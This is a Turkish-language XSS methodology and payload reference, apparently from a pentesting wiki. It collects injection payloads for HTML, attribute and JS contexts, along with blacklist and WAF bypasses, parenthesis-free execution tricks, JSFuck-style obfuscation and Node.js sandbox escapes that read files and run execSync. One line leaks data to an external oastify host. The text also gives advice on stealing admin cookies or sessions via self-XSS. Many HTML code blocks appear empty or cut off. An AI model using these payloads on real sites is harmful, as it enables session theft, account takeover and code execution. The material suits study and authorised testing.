# XSS (Cross Site Scripting) ## Methodology 1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp** kullanılmadığını kontrol edin. 2. **Yansıtıldığı/kullanıldığı bağlamı** bulun. 3. Eğer **yansıtılmışsa** 1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın: 1. **ham HTML** içinde: 1. Yeni HTML etiketleri oluşturabilir misiniz? 2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz? 3. Koruma mekanizmalarını aşabilir misiniz? 4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz. 5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz? 2. Bir **HTML etiketinin** içinde: 1. Ham HTML bağlamına çıkabilir misiniz? 2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz? 3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu? 4. Koruma mekanizmalarını aşabilir misiniz? 3. **JavaScript kodunun** içinde: 1. ``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: - Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. - Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ **Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`. Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır: ![](<../../images/image (711).png>) Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, rakamlar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır. Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**: ![](<../../images/image (747).png>) Bunun için bazı yararlı fonksiyonlar: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`. Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır. Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM **JS kodu** bir **saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu kullanarak keyfi JS kodu çalıştırabilir. {{#ref}} dom-xss.md {{#endref}} ### **Evrensel XSS** Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\ Bazı **örnekler**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF atlatma kodlama resmi ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Ham HTML içinde enjekte etme Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ _**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_ Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz: ```html ``` Ama, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\ Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek. ### Etiketler/Olaylar brute-force [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin). ### Özel etiketler Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**: ``` /?search=#x ``` ### Blacklist Bypasses Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit numaralarla aşmayı deneyebilirsiniz: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için denerseniz, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**. **`javascript:` ile Hex ve Octal kodlama kullanma** **Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak üzere kullanabilirsiniz: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Ters sekme kapma ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS "Sömürülemez etiketler" (gizli girdi, bağlantı, kanonik, meta) içinde [**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **gizli girdileri kötüye kullanmak artık mümkün:** ```html ``` Ve **meta etiketlerinde**: ```html
Newsletter popup
``` [**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz, yeter ki **kurbanı** **tuş kombinasyonuna** **ikna** edebilin. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör: ```html ``` **XSS yükü şöyle bir şey olacak: `" accesskey="x" onclick="alert(1)" x="`** ### Kara Liste Aşmaları Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Geri dön ve nerelerde kullanabileceğini öğren:** - **HTML kodlama (HTML etiketleri)** - **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)` - **URL kodlama** - **Hex ve Oktal kodlama** - **veri kodlama** **HTML etiketleri ve öznitelikler için aşmalar** [Önceki bölümün Kara Liste Aşmalarını](#blacklist-bypasses) oku. **JavaScript kodu için aşmalar** [Aşağıdaki bölümün JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) oku. ### CSS-Gadget'lar Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı **alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz. Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz, bu yüzden eğer örneğin > .test {display:block; color: blue; width: 100%\} ve > \#someid {top: 0; font-family: Tahoma;} bulursanız, bağlantımızı şu forma getirebilirsiniz > \ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) adresinden alınmıştır. ## JavaScript kodu içine enjekte etme Bu durumda **girdi** JS kodunun bir `.js` dosyasının içinde veya `` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**. ### \` içinde yer alıyorsa, ` ``` Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir. ### JS kodu içinde Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Şablon Literalleri \`\` Tekil ve çift tırnaklardan ayrı olarak **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\ Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz: Bu, şu şekilde **kötüye kullanılabilir**: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Kodun kodlanmış yürütülmesi ```html ``` **Yorum içinde Javascript** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **Parantezsiz JavaScript** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Rastgele fonksiyon (alert) çağrısı** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **DOM zafiyetleri** **JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ **Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\ Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın. ### Self-XSS'i Yükseltme ### Cookie XSS Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz. ### Oturumunuzu yöneticilere gönderme Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir. ### Oturum Yansıtma Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir. **Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.** ## Diğer Bypass'lar ### Normalleştirilmiş Unicode **Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları aşmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL bayrağı Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass **RoR kütle ataması** nedeniyle, HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\ Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer yükü gönderirseniz: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` "Key","Value" çifti şu şekilde geri dönecektir: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir. ### Özel kombinasyonlar ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS ile 302 yanıtında başlık enjeksiyonu Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. [**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\ Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`. ### Sadece Harfler, Sayılar ve Noktalar Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. [**Bu gönderinin bu bölümünü okuyun**](#javascript-function) bu davranışı nasıl kötüye kullanacağınızı öğrenmek için. ### XSS için Geçerli ` ``` Cevap şudur: - **modül** (varsayılan, açıklamaya gerek yok) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır. ```html ``` Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı; bu, XSS'yi tetikleyebilir. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır: ```html ``` ### Web İçerik Türleri ile XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aşağıdaki içerik türleri tüm tarayıcılarda XSS'i çalıştırabilir: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? listede yok ama bunu bir CTF'de gördüğümü düşünüyorum) - application/rss+xml (kapalı) - application/atom+xml (kapalı) Diğer tarayıcılarda diğer **`Content-Types`** rastgele JS çalıştırmak için kullanılabilir, kontrol et: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml İçerik Türü Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve rastgele JS çalıştırmak mümkündür: ```xml hello ``` ### Özel Değiştirme Desenleri **`"some {{template}} data".replace("{{template}}", )`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı. ### Chrome Önbelleği ile XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails Kaçışı Kullanabileceğiniz sınırlı bir karakter setiniz varsa, XSJail problemleri için bu diğer geçerli çözümleri kontrol edin: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: - import() kullanarak ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - `require`'a dolaylı erişim [Buna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Bu nedenle, eğer o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan **`require`**'a erişmek için `arguments.callee.caller.arguments[1]` kullanmak mümkündür: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **sarmalayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass - **Bir sayfadaki farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Daha sofistike JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + 